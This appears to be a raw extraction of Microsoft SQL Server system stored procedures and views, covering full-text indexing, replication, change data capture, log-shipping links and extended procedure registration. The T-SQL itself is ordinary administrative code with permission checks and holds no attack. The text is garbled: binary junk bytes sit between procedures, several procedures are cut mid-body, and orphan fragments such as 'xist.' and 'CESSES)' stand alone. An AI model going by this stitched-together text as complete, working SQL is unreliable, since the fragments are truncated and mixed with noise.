        OR (@action in ('create') and (@ftcat is null or len(@ftcat) = 0 or @keyname is null or len(@keyname) = 0))
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_table')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_table')
        return 1
    end


    if @action = 'create'
    begin
        select @execstring = 'CREATE FULLTEXT INDEX ON '
            + @newtabname +' KEY INDEX '
            + quotename( @keyname, '[') + ' ON '
            + quotename( @ftcat, '[') + ' WITH CHANGE_TRACKING OFF, NO POPULATION '
        EXEC (@execstring)
    end

    if @action = 'drop'
    begin
        select @execstring = 'DROP FULLTEXT INDEX ON '
            + @newtabname

        EXEC (@execstring)
    end

    if @action = 'activate'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' ENABLE '

        EXEC (@execstring)
    end

    if @action = 'deactivate'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' DISABLE '

        EXEC (@execstring)
    end

    if @action = 'start_change_tracking'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' SET CHANGE_TRACKING MANUAL '

        EXEC (@execstring)
    end

    if @action = 'stop_change_tracking'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' SET CHANGE_TRACKING OFF '

        EXEC (@execstring)
    end

    if @action = 'start_background_updateindex'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' SET CHANGE_TRACKING AUTO '
        EXEC (@execstring)
    end

    if @action = 'stop_background_updateindex'
    begin
    --  when table is not existing, we will call ALTER FULLTEXT to raise error for consistent error behavior.
        if object_id(@newtabname, 'local') is null OR
           ObjectProperty(object_id(@newtabname, 'local'), 'TableHasActiveFulltextIndex') = 0 OR
           ObjectProperty(object_id(@newtabname, 'local'), 'TableFullTextBackgroundUpdateIndexOn') != 0
        begin
            select @execstring = 'ALTER FULLTEXT INDEX ON '
                + @newtabname +' SET CHANGE_TRACKING MANUAL '
            EXEC (@execstring)
        end
    end

    if @action = 'update_index'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' START UPDATE POPULATION '
        EXEC (@execstring)
    end

    if @action = 'start_full'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' START FULL POPULATION '
        EXEC (@execstring)
    end

    if @action = 'start_incremental'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' START INCREMENTAL POPULATION '
        EXEC (@execstring)
    end

    if @action = 'stop'
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' STOP POPULATION '
        EXEC (@execstring)
    end

    -- SUCCESS --
    return 0
0p 	8create procedure sys.sp_MSrepl_backup_start
as
    declare @sync_bit int
    declare @dist_bit int
            
    set nocount on

    set @sync_bit = 32
    set @dist_bit = 16

    -- security Check
    -- BACKUP/RESTORE statements require sysadmin, dbcreator, dbo
    if isnull(is_srvrolemember('sysadmin'),0) = 0 
        and isnull(is_srvrolemember('dbcreator'),0) = 0
        and isnull(is_member('db_owner'),0) = 0
    begin
        raiserror(18799, 16, -1) 
        return (1)
    end
    
    -- If this is a distribution database and it is marked by 'sync with backup'
    if exists (select * from master.dbo.sysdatabases where
        name = db_name() collate database_default and
        category & (@sync_bit | @dist_bit) = @sync_bit | @dist_bit)
    begin
        update MSrepl_backup_lsns set next_xact_id = t2.xact_id, next_xact_seqno = m.xact_seqno from 
            (select tm.publisher_database_id, max(tm.xact_seqno) from 
                -- max seqno of xacts not involved in partial tran processing
                (select t.publisher_database_id, max(substring(t.xact_seqno, 1, 10)) from 
                    MSrepl_transactions t where
                    not t.xact_id = 0x0 
                    group by t.publisher_database_id, substring(t.xact_seqno, 1, 10)
                    having count(t.xact_seqno) < 2
                union
                -- max seqno of xacts involved in and completed partial tran processing
                select t.publisher_database_id, max(substring(xact_seqno, 1, 10)) from
                    MSrepl_transactions t where
                    not t.xact_id = 0x0 
                    and t.xact_id = substring(t.xact_seqno, 1, 10)
                    group by t.publisher_database_id
                )as tm(publisher_database_id, xact_seqno) -- derived table containing up to 2 rows per publication_database_id
            group by tm.publisher_database_id -- derived table containing up to 1 row per publication_database_id
            )as m(publisher_database_id, xact_seqno), 
            MSrepl_transactions t2              
        where m.publisher_database_id = MSrepl_backup_lsns.publisher_database_id and
                t2.publisher_database_id = MSrepl_backup_lsns.publisher_database_id and
                t2.xact_seqno   = m.xact_seqno
        if @@error <> 0
            return 1
    end
    
    return 0
    
"h`<1z0 C8create proc sys.sp_fulltext_column
    @tabname        nvarchar(517),      -- table name
    @colname        sysname,            -- column name
    @action         varchar(20),        -- add | drop
    @language       int = null,         -- LCID of data in the column
    @type_colname   sysname = null      -- column name, valid if colname is img

as
    declare @execstring nvarchar (4000)
    declare @newtabname nvarchar (1035)

    set nocount on

    -- sp_fulltext_column will run under read committed isolation level --
    set transaction isolation level READ COMMITTED

    if (db_name() in ('master','tempdb','model'))
    begin
        raiserror(9966, -1, -1)
        return 1
    end

    -- add quote to table name. fn_quotefourpartname can add quote to four part name --
    select @newtabname=sys.fn_quotefourpartname(@tabname,N'[')
    if @newtabname is null
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_column')
        return 1
    end

    -- VALIDATE TABLE NAME --
    --  (1) Must exist in current database
    declare @objid int
    select @objid = object_id(@newtabname, 'local')
    if @objid is null
    begin
        declare @curdbname sysname
        select @curdbname = db_name()
        raiserror(15009,-1,-1 ,@tabname, @curdbname)
        return 1
    end

    -- CHECK PERMISSION ON TABLE --
    if (is_member('db_owner') = 0) AND (is_member('db_ddladmin') = 0)
        AND (is_member(user_name(ObjectProperty(@objid, 'ownerid'))) = 0)
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    -- VALIDATE PARAMS --
    if @colname is null or len(@colname) = 0 or @action is null or @action not in ('add','drop')
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_column')
        return 1
    end

    if @language is not null AND @language < 0
    begin
        raiserror(15600,-1,-1,'sys.sp_fulltext_column')
        return 1
    end

    -- DISALLOW USER TRANSACTION --
    set implicit_transactions off
    if @@trancount > 0
    begin
        raiserror(15002,-1,-1,'sys.sp_fulltext_column')
        return 1
    end

    if @action = 'add'
    begin
        if exists ( select ftcol.object_id from sys.fulltext_index_columns as ftcol join sys.columns as col
                        on (ftcol.object_id = col.object_id and ftcol.column_id = col.column_id)
                        where col.name = @colname and col.object_id = object_id(@newtabname))
        begin
            select @execstring = 'ALTER FULLTEXT INDEX ON '
                + @newtabname +' DROP ('
                + quotename( @colname, '[')
                + ' ) '

            if ObjectProperty(object_id(@newtabname, 'local'), 'TableFulltextChangeTrackingOn') = 0
            begin
                    select @execstring = @execstring +' WITH NO POPULATION '
            end
            EXEC (@execstring)
        end

        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' ADD ('
            + quotename( @colname, '[')
            + CASE
                when @type_colname is null or len(@type_colname) = 0 then ''
                else ' TYPE COLUMN '+ quotename( @type_colname, '[')
              END
            + CASE
                when @language is null then ''
                else ' LANGUAGE '+ cast(@language as varchar)
              END
            + ' ) '

        if ObjectProperty(object_id(@newtabname, 'local'), 'TableFulltextChangeTrackingOn') = 0
        begin
                select @execstring = @execstring +' WITH NO POPULATION '
        end
        EXEC (@execstring)
    end
    else
    begin
        select @execstring = 'ALTER FULLTEXT INDEX ON '
            + @newtabname +' DROP ( '
            + quotename( @colname, '[')
            + ' ) '

        if ObjectProperty(object_id(@newtabname, 'local'), 'TableFulltextChangeTrackingOn') = 0
        begin
                select @execstring = @execstring +' WITH NO POPULATION '
        end

        EXEC (@execstring)
    end

    -- SUCCESS --
    return 0
0{i 8CREATE VIEW sys.dm_exec_query_resource_semaphores AS
	SELECT convert(smallint, ~convert(bit, isnull(max_target_memory_kb, -1) +1)) as resource_semaphore_id,
	target_memory_kb, max_target_memory_kb, total_memory_kb, available_memory_kb, granted_memory_kb,
	used_memory_kb, grantee_count, waiter_count, timeout_error_count, forced_grant_count,
	pool_id
	FROM OpenRowset(TABLE DM_EXEC_QE_RESSEM)
0B@ P8Uh/>P.J0ۥ@ 08create procedure sys.sp_getagentparameterlist
(
    @agent_type int
)
as
begin
    declare  @snapshot_type      int
                ,@logreader_type     int
                ,@distribution_type  int
                ,@merge_type         int
                ,@qreader_type       int

    -- security check - must be sysadmin/dbo
    if (IS_SRVROLEMEMBER('sysadmin') <> 1 AND is_member ('db_owner') <> 1)
    begin
        RAISERROR(21089,16,-1) 
        return 1
    end
    
    --initialize the constants
    select @snapshot_type = 1
            ,@logreader_type = 2
            ,@distribution_type = 3
            ,@merge_type = 4
            ,@qreader_type = 9

    --validate the agent_type
    if (@agent_type not in 
            (@snapshot_type
            ,@logreader_type
            ,@distribution_type
            ,@merge_type
            ,@qreader_type))
    begin
        --The agent type is NULL or is invalid
        RAISERROR (21804, 16, -1, @agent_type) 
        return 1
    end

    -- return all the parameters for this agent type
    SELECT 
        agent_type
        ,N'-' + parameter_name
        ,default_value
        ,min_value
        ,max_value
    FROM msdb.dbo.MSagentparameterlist 
    WHERE agent_type=@agent_type
    if @@error <> 0 
    begin
        --could not select from MSagentparameterlist
        RAISERROR (21499, 16, -1, 'sys.sp_getagentparameterlist', 'SELECT from', 'msdb.dbo.MSagentparameterlist', @@error)
        return 1
    end

    return 0
end
0 8create procedure sys.sp_cdc_get_capture_instances  				
(														
	@source_schema sysname = null,
	@source_name sysname = null
)
with execute as 'dbo'
as
begin
	set nocount on
	
	declare @capture_instance sysname
	
	if ((@source_name is null)   or (@source_name = N''))   and
	   ((@source_schema is null) or (@source_schema = N''))
	begin
	
		-- All capture instances are to be returned
		insert into #capture_instances
		select capture_instance, object_id
		from [cdc].[change_tables]
		
		return 0
		
	end
	
	-- This is a request for capture information on a specific source table	
	if ((@source_name is null) or (@source_schema is null) or
		(@source_name = N'')   or (@source_schema = N'')) 
	begin
		raiserror(22972, 16, -1)
		return 1 
	end
		
	if not exists (
		select object_id
		from sys.objects
		where @source_schema = schema_name(schema_id)
		and   @source_name   = object_name(object_id)
	) 
	begin
		raiserror(22981, 16, -1)
		return 1 
	end 
		
	select @capture_instance = null
		
	select top 1 @capture_instance = capture_instance
	from [cdc].[change_tables] with (index = source_object_id_idx)  
	where object_schema_name(source_object_id) = @source_schema
	and   object_name(source_object_id) = @source_name
		
	if (@capture_instance is null)
	begin
		raiserror(22985, 16, -1, @source_schema, @source_name)
		return 1
	end
	
	-- Return capture instances associated with the named source table
	insert into #capture_instances
	select capture_instance, object_id
	from [cdc].[change_tables] with (index = source_object_id_idx)
	where object_schema_name(source_object_id) = @source_schema
	and   object_name(source_object_id) = @source_name
	
	return 0
end
R`<	'`o$0Y@ 8
---------------------------- sp_addextendedproc ------------------------------
create procedure sys.sp_addextendedproc
	@functname nvarchar(517),	-- (owner.)name of function to call
	@dllname varchar(255)		-- name of DLL containing function
as
	-- If we're in a transaction, disallow the addition of the
	--  extended stored procedure.
	set implicit_transactions off
	if @@trancount > 0
	begin
		raiserror(15002,-1,-1,'sys.sp_addextendedproc')
		return (1)
	end

	-- Disallow 0-length string & NULL
	if @dllname is null or datalength(@dllname) = 0
	begin
		raiserror(15311,-1,-1,@dllname)
		return (1)
	end

	BEGIN TRANSACTION

	declare @dllwname nvarchar(255)
	set @dllwname = convert(nvarchar(255), @dllname)

	-- Create the extended procedure mapping.
	EXEC %%System().AddExtendedProc( Name = @functname, Value = @dllwname)
	if @@error <> 0
	begin
		ROLLBACK
		return 1
	end

	declare @objid int
	select @objid = object_id(@functname)

	-- EMDEventType(x_eet_Create_Extended_Procedure), EMDUniversalClass(x_eunc_Object), src major id, src minor id, src name
	-- -1 means ignore target stuff, target major id, target minor id, target name,
	-- # of parameters, 5 parameters
	EXEC %%System().FireTrigger(ID = 221, ID = 1, ID = @objid, ID = 0, Value = @functname,
		ID = -1, ID = 0, ID = 0, Value = NULL, 
		ID = 2, Value = @functname, Value = @dllname, Value = NULL, Value = NULL, Value = NULL, Value = NULL, Value = NULL)
	
	COMMIT

	return (0) -- sp_addextendedproc
0*0 D8v<h#<0՛ Y8create procedure sys.sp_MSprocesslogshipmonitorlink 
(
    @mode tinyint -- 1 = create, 2 = drop 
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit -- 0 = standard, 1 = integrated
    ,@monitor_server_login sysname = NULL
    ,@monitor_server_password sysname = NULL
)
as
begin
    set nocount on
    declare @retcode int
                ,@linkname sysname
                ,@localproxy sysname
                ,@cmd nvarchar(4000)

    --
    -- validate @mode
    --
    if (@mode not in (1,2))
    begin
        raiserror(21055, 16, -1, '@mode','sp_MSprocesslogshipmonitorlink')
        return 1
    end
    --
    -- login and password cannot be null for security_mode 0 during creation
    --
    if (@mode = 1 and @monitor_server_security_mode = 0 and (@monitor_server_login is null or @monitor_server_password is null))
    begin
        raiserror(21055, 16, -1, '@monitor_server_login, @monitor_server_password', '@monitor_server_security_mode = 0')
        return 1
    end
    --
    -- we will use a deterministic name for the link
    --
    select @monitor_server = upper(@monitor_server)
             ,@localproxy = SUSER_SNAME(0x01)
    select @linkname = upper(sys.fn_MSgetlogshippingmoniterlinkname(@monitor_server))
    --
    -- drop it if it exists
    --
    if exists (select * from master.sys.servers 
            where upper(name) = @linkname and upper(data_source) = @monitor_server)
    begin
        exec @retcode = sp_dropserver @server = @linkname, @droplogins = 'droplogins'
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    --
    -- if we are dropping - we are done
    --
    if (@mode = 2)
        return 0
    --
    -- create the linked server entry
    --
    exec @retcode = sp_addlinkedserver @server = @linkname, @srvproduct = 'SQL Server'
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- Set the data source name
    --
    exec @retcode = sys.sp_setnetname  @linkname, @monitor_server
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- set the properties for the linked server so that it can be used by logshipping
    --
    exec @retcode = sys.sp_serveroption @linkname, 'data access', 'true'
    if @@error != 0 or @retcode != 0
        return 1
    exec @retcode = sys.sp_serveroption @linkname, 'rpc', 'true'
    if @@error != 0 or @retcode != 0
        return 1
    exec @retcode = sys.sp_serveroption @linkname, 'rpc out', 'true'
    if @@error != 0 or @retcode != 0
        return 1
    exec @retcode = sys.sp_serveroption @linkname, 'system', 'true'
    if @@error != 0 or @retcode != 0
        return 1
    --
    -- prepare monitor credential
    --
    if (@monitor_server_security_mode = 0)
    begin
        --
        -- now add the proxy credential
        --
        exec @retcode = sp_addlinkedsrvlogin @rmtsrvname = @linkname 
                                                    ,@useself = 'false' -- we will use specific remote login
                                                    ,@locallogin = @localproxy -- only this login can use it
                                                    ,@rmtuser = @monitor_server_login 
                                                    ,@rmtpassword = @monitor_server_password 
        if @@error != 0 or @retcode != 0
            return 1
        --
        -- remove default login mapping
        --
        exec sp_droplinkedsrvlogin @rmtsrvname = @linkname, @locallogin = NULL
    end
    else
    begin
        exec @retcode = sp_addlinkedsrvlogin @rmtsrvname = @linkname 
                                                    ,@useself = 'true' -- we will use self credentials
        if @@error != 0 or @retcode != 0
            return 1
    end
    --
    -- all done
    --
    return 0
end
server IS NULL

        OPEN hC
        FETCH hC INTO @publisher, @publisher_db, @publication
        WHILE (@@fetch_status != -1)
        BEGIN
            --
            -- the table MSsubscription_properties has to exist;
            -- prepare the queue server name from distributor name
            -- strip the instance name if necessary
            --
            select @queue_server = ISNULL(distributor, @@servername)
            from dbo.MSsubscription_properties
            where UPPER(publisher) = UPPER(@publisher) and
                        publisher_db = @publisher_db and
                        publication = @publication

            if (charindex(N'\', @queue_server) > 0)
                select @queue_server = substring(@queue_server, 1, charindex(N'\', @queue_server) - 1)

            --
            -- set the queue_server for this entry
            --
            update dbo.MSsubscription_agents
            set queue_server = @queue_server
            where UPPER(publisher) = UPPER(@publisher) and
                        publisher_db = @publisher_db and
                        publication = @publication

            --
            -- get next entry
            --
            FETCH hC INTO @publisher, @publisher_db, @publication
        END
        CLOSE hC
        DEALLOCATE hC
    end
end
0 +8create procedure sys.sp_MSsub_cleanup_orphans AS

    /*
    ** Security Check
    */
    -- Internal sp, not granted to public.
    -- Ignore all errrors

    if object_id('MSreplication_objects') is not NULL
    begin
        delete MSreplication_objects where not exists (select * from sys.objects
            where name = object_name)
        if not exists (select * from MSreplication_objects)
            drop table MSreplication_objects
    end
            
    if object_id('MSsub_identity_range') is not NULL
    begin
        delete MSsub_identity_range where not exists (select * from sys.objects
            where object_id = objid)
        if not exists (select * from MSsub_identity_range)
            drop table MSsub_identity_range
    end
nbn`Of<
SH0@  8
---------------------------- sp_SetPublicInterfaceObject ------------------------------
CREATE PROCEDURE sys.sp_SetPublicInterfaceObject
	@object	sysname,		-- object name
	@grantpublic bit = 1,	-- select/execute granted to public by default
	@owner sysname = N'sys'	-- object schema name
AS
	SET NOCOUNT ON
	SET ARITHABORT ON
	IF @@TRANCOUNT > 0 OR IS_SRVROLEMEMBER('sysadmin') = 0
		RETURN (1)

	EXEC %%Object( Owner = @owner, Name = @object ).SetPublicSystemObject( PublicAccess = @grantpublic )
0@ 8CREATE VIEW sys.dm_xe_session_event_actions AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_SESSION_EVENT_ACTIONS) 
0@ 8create procedure sys.sp_MSgetFixPALRoleAppLock
    @timeout int = -1,
    @lockmode nvarchar(32) = N'Exclusive',
    @lock_acquired int = NULL OUTPUT
as
    set nocount on

    declare @retcode smallint
    declare @lock_resource nvarchar(255)
    declare @DbPrincipal sysname

    select @retcode = 0
    select @lock_acquired = -1

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- use the dbowner role
    select @DbPrincipal = N'db_owner'
    select @lock_resource = N'MSinternal_repl_Fix_PAL_' + convert(nvarchar(6), db_id()) 

    exec @retcode = sp_getapplock @Resource = @lock_resource,
                                  @LockMode = @lockmode,
                                  @LockOwner = N'Session',
                                  @LockTimeout = @timeout, -- wait till the the given @timeout time to get it
                                  @DbPrincipal = @DbPrincipal
    if @@error<>0 or @retcode<0 -- lock was not acquired
    begin
        select @retcode = 1
        select @lock_acquired = -1
    end
    else
    begin
        select @retcode = 0
        select @lock_acquired = 1
    end

    return @retcode
0 0
8create procedure sys.sp_helpmergealternatepublisher (
	@publisher					sysname,	/* Publisher server */
	@publisher_db				sysname,	/* Publisher database */
	@publication				sysname	/* Publication name */
) AS

	SET NOCOUNT ON
	declare @subid				uniqueidentifier
	declare @pubid				uniqueidentifier
	declare @distributor		sysname
	declare @retcode			int

	declare @MShelpmergealternatepublisher TABLE
	(
		subid					uniqueidentifier	not null,
		alternate_publisher		sysname				collate database_default not null,	 
		alternate_publisher_db	sysname				collate database_default not null,	 
		alternate_publication	sysname				collate database_default not null,	 
		alternate_distributor	sysname				collate database_default null,	 
		friendly_name			nvarchar(255)		collate database_default null,	 
		enabled					bit					not null
	)
	
    set @publisher= LOWER(@publisher collate SQL_Latin1_General_CP1_CS_AS)
	
	/*
	** Select the subscription's pubid and subid
	*/
	select @pubid = pubid from dbo.sysmergepublications	 
				where name = @publication and
					LOWER(publisher collate SQL_Latin1_General_CP1_CS_AS) = @publisher and
					publisher_db = @publisher_db
	if @pubid is NULL
	begin
	    -- since we are adding a sysmergepublications entry for the alternate publisher
	    -- see sp_MScreateglobalreplica - the entry should be there
		raiserror (21423, 11, -1, @publication)
		return (1)
	end

	if  1 <> {fn ISPALUSER(@pubid)} 
	begin
		raiserror(21423, 11, -1, @publication)
		return (1)
	end
		
    insert into @MShelpmergealternatepublisher 
        (subid, alternate_publisher, alternate_publisher_db, 
         alternate_publication, alternate_distributor, friendly_name, enabled)
    select distinct pub.pubid, pub.publisher, pub.publisher_db, 
          pub.name, pub.distributor, alt.description, 1
    from dbo.sysmergepublications pub, dbo.MSmerge_altsyncpartners alt
    where pub.pubid = alt.alternate_subid and alt.subid = @pubid

    insert into @MShelpmergealternatepublisher 
        (subid, alternate_publisher, alternate_publisher_db, 
         alternate_publication, alternate_distributor, friendly_name, enabled)
    select pubid, publisher, publisher_db, 
          name, distributor, description, 1
    from dbo.sysmergepublications where pubid = @pubid

    insert into @MShelpmergealternatepublisher 
        (subid, alternate_publisher, alternate_publisher_db, 
         alternate_publication, alternate_distributor, friendly_name, enabled)
    select distinct pub.pubid, pub.publisher, pub.publisher_db, 
          pub.name, pub.distributor, sub.description, 0
    from dbo.sysmergepublications pub, dbo.sysmergesubscriptions sub
    where pub.pubid not in (select subid from dbo.MSmerge_altsyncpartners) and
          pub.pubid not in (select alternate_subid from dbo.MSmerge_altsyncpartners) and
	      pub.pubid not in (select subid from @MShelpmergealternatepublisher) and
	      sub.pubid = pub.pubid and sub.pubid = sub.subid
	      
	select distinct alternate_publisher,
		alternate_publisher_db,
		alternate_publication,
		alternate_distributor,
		friendly_name,
		enabled 
		from @MShelpmergealternatepublisher 
	order by alternate_publisher, alternate_publisher_db, alternate_publication, alternate_distributor
	
	return (0)

xist.
		raiserror(21200, 16, -1, @publication)
		return 1
	end
	
	select @publisher_commit = publisher_commit,
			@distributor_commit = distributor_commit
		from MStracer_tokens
		where publication_id = @publication_id
			and tracer_id = @tracer_id
	
	-- the publisher commit should never be null
	-- if we have a valid parent tracer LSN
	if @publisher_commit is NULL
	begin
		-- The tracer token id (%d) could not be found for publisher:%s, database:%s, publication:%s.
		raiserror(20688, 16, -1, @tracer_id, @publisher, @publisher_db, @publication)
		return 1
	end
	
	-- calculate the distributor latency
	select @distributor_latency = datediff(ss, @publisher_commit, @distributor_commit)

	-- gather remaining latency information
	declare tracer_history_cursor cursor fast_forward for
		select distinct syss.name,
				msda.subscriber_db,
				msth.subscriber_commit
			from MStracer_history msth
				join MSdistribution_agents msda
					on msth.agent_id = msda.id
				join sys.servers syss
					on msda.subscriber_id = syss.server_id
			where msth.parent_tracer_id = @tracer_id
	
	open tracer_history_cursor

	fetch next from tracer_history_cursor into @subscriber, @subscriber_db, @subscriber_commit
	while (@@fetch_status <> -1)
	begin
		-- calculate the subscriber latency
		select @subscriber_latency = datediff(ss, @distributor_commit, @subscriber_commit)
		
		-- calculate the overall latency
		select @overall_latency = @distributor_latency + @subscriber_latency
		
		-- add history row to the temp table
		insert into @tracer_history 
		(
			distributor_latency, 
			subscriber, 
			subscriber_db, 
			subscriber_latency,
			overall_latency
		)
		values 
		(
			@distributor_latency, 
			@subscriber, 
			@subscriber_db, 
			@subscriber_latency,
			@overall_latency
		)

		fetch next from tracer_history_cursor into @subscriber, @subscriber_db, @subscriber_commit
	end

	close tracer_history_cursor
	deallocate tracer_history_cursor
	
	-- return the tracer history information
	select distributor_latency, 
			subscriber, 
			subscriber_db, 
			subscriber_latency,
			overall_latency
		from @tracer_history
		order by overall_latency desc, 
				subscriber_latency desc, 
				distributor_latency desc
	
	return 0
end
CESSES)
0!= 88f}L!9!p,#`6
<0L){
0 8create procedure sys.sp_refreshview
    @viewname	nvarchar(776)
as
	declare @ret int
	exec @ret = sys.sp_refreshsqlmodule_internal @viewname, N'OBJECT', 1 -- viewonly
	return @ret
0 8create procedure sys.sp_cdc_disable_table_internal 
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname
)
as
begin
	declare @retcode int
			,@is_cdc_enabled bit
			,@stmt nvarchar(max)
			,@role_exists bit
			,@source_object_id int
			,@schema_owner sysname
			,@quoted_source_table nvarchar(1000)
			,@object_id int
			,@db_name sysname
			,@use_count int
			,@action nvarchar(1000)
			,@raised_error int
			,@raised_message nvarchar(4000)
			,@trancount int
			,@resource nvarchar(255)
			,@table_resource nvarchar(255)
			,@applock_result int
			,@db_id int
			
    set nocount on
    
    set @db_name = db_name()
    set @db_id = db_id()
    set @resource = N'__$cdc__db_' + convert(nvarchar(10),@db_id) 
    set @source_name = rtrim(@source_name)
    set @source_schema = rtrim(@source_schema)
    set @raised_error = 0

    -- Verify source table schema is not null or empty
    if (@source_schema is null) or (@source_schema = N'') 
    begin
		raiserror(22963, 16, -1, N'@source_schema')
        return 1
    end
    
    -- Verify source table name is not null or empty
    if (@source_name is null) or (@source_name = N'') 
    begin
		raiserror(22963, 16, -1, N'@source_name')
        return 1
    end
    
    -- Verify @source_schema and @source_name together identify a local table
    select @quoted_source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    select @source_object_id = object_id(@quoted_source_table)
    select @table_resource = N'__$cdc__table_' + convert(nvarchar(10),@source_object_id)
    
    if (@source_object_id is null)							
    begin
		raiserror(22931, 16, -1, @source_schema, @source_name)
        return 1
    end

    -- If the capture instance is not null, verify that the table
    -- is currently enabled for change tracking using the
    -- identified capture instance.
    if (@capture_instance is not null)
	begin    
		select @object_id = object_id
		from [cdc].[change_tables] with (index = source_object_id_idx)
		where capture_instance = @capture_instance
		and source_object_id = @source_object_id
	end

	if ((@capture_instance is null) or ((@object_id is null) and (UPPER(@capture_instance) <> N'ALL')))
	begin
		raiserror(22960, 16, -1, @capture_instance, @source_schema, @source_name )
		return 1
	end
	
	-- Wrap transaction logic in a TRY/CATCH block
	BEGIN TRY
	
		-- Authorization and verification checks have completed.
		-- Open a transaction to begin metadata updates.
		set @trancount = @@trancount
		
		begin tran
		save tran sp_disable_table_cdc
	
		--  Get shared database lock
		exec @applock_result = sys.sp_getapplock @Resource = @resource, @LockMode = N'Shared',
			@LockOwner = 'Transaction', @DbPrincipal = 'db_owner'
 
		If @applock_result < 0
		begin
			-- Lock request failed.
			set @action = N'sys.sp_getapplock @Resource = ' + @resource + N'@LockMode = N''Shared'', @LockOwner = ''Transaction'', @DbPrincipal = ''db_owner'' ' 
			raiserror(22840, 16, -1, @action, @applock_result)
		end

		-- The lock request was granted.
		-- Insure the database is still enabled before proceeding
		If ([sys].fn_cdc_is_db_enabled() = 0)
		begin
			-- If database is disabled now, another thread disabled CDC while 
			-- we were waiting for the shared lock. Error with an indication
			-- that CDC is no longer enabled for the database.
			raiserror(22901, 16, -1, @db_name)
		end
		
		set @action = 'sp_cdc_disable_table_tranx'
		exec [sys].[sp_cdc_disable_table_tranx] @capture_instance,
			@source_schema, @source_name, @source_object_id
			
		-- Call sp_replflush to notify capture process that a capture instance has been disabled.
		set @action = N'sys.sp_replflush'
		exec sys.sp_replflush
		
		commit tran
		
	END TRY
	
	BEGIN CATCH	
    
		if @@trancount > @trancount
		begin
			-- If CDC opened the transaction or it is not possible 
			-- to rollback to the savepoint, rollback the transaction
			if ( @trancount = 0 ) OR ( XACT_STATE() <> 1 )
			begin
				rollback tran 
			end
			-- Otherwise rollback to the savepoint
			else
			begin
				rollback tran sp_disable_table_cdc
				commit tran
			end
		end
		
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	if @raised_error = 0
		return 0
		
	raiserror(22833, 16, -1, @quoted_source_table, @action, @raised_error, @raised_message)
    		return 1
end
        set @schemaguid = newid()
        exec @retcode=sys.sp_MSinsertschemachange @re_pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 
            goto UNDO
        fetch #change_retention_period_unit into @re_pubid
    END
    close #change_retention_period_unit
    deallocate #change_retention_period_unit
    
    COMMIT TRAN
    return (0)
UNDO:
    ROLLBACK tran change_retention_pu
    COMMIT TRAN
    return(1)
0Wˬ D8Fqhj&0@ 8create procedure sys.sp_changedistributor_password (
    @password sysname       
    ) AS

    declare @distributor sysname
    declare @distnetname sysname
    declare @retcode int
    declare @login sysname

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    select @login = 'distributor_admin'
    SELECT @distributor = NULL
    SELECT @distributor = srvname, @distnetname = datasource 
        FROM master.dbo.sysservers
        WHERE  srvstatus & 8 <> 0
    
    exec @retcode = sys.sp_addlinkedsrvlogin 
        @rmtsrvname= @distributor,
        @useself = 'false',
        @locallogin = NULL,
        @rmtuser = @login,
        @rmtpassword = @password
    IF @@error <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END

    if UPPER(@distnetname) = UPPER(@@servername)
    begin
            -- Change the password if the distributor is local
        EXEC @retcode = sys.sp_password NULL, @password, 'distributor_admin'
        if @@error <> 0 or @retcode <> 0
            return(1)
    end

    return (0)
0t% j8create procedure sys.sp_MSgettranconflictname (
@publication sysname,
@source_object nvarchar(540),
@str_prefix nvarchar(30) = NULL,
@conflict_table sysname = NULL OUTPUT)
AS
begin
    declare @objid              int
    declare @retcode            int
    declare @object_name        sysname
    declare @name_out           sysname
    declare @pubid              int
    declare @article            sysname
    declare @artid              int
    declare @prefixlen          int

    if (@str_prefix is NULL)
        select @str_prefix = 'conflict_'

    select @prefixlen = len(@str_prefix)

    select @pubid=pubid from syspublications 
        where name=@publication

    select @objid = object_id(@source_object)
    select @artid = artid, @article=name from sysarticles 
        where objid = @objid and pubid=@pubid

    if len(@publication) + len(@article) > 128 - @prefixlen -1   -- sysname minus prefix len
    begin
        select @object_name = @str_prefix + 
            convert(nvarchar(59), @publication) + 
            '_' + convert(nvarchar(59), @article)
    end
    else
    begin
        select @object_name = @str_prefix + @publication + '_' + @article
    end
    select @conflict_table = @object_name
    exec @retcode = sys.sp_MSuniqueobjectname @object_name, @conflict_table OUTPUT
end
6b
8:`</w:&ozdl, table_option_ddl
		from (select distinct partition_column_id, partition_function_id, partition_number, requires_computed from #index_partition_info ) t
		cross apply (select case when used_page_count <= @pages_to_sample then 100 else 100. * @pages_to_sample / used_page_count end as sample_percent
					 from sys.dm_db_partition_stats ps where ps.object_id = @object_id and index_id < 2 and ps.partition_number = t.partition_number) ps
		cross apply
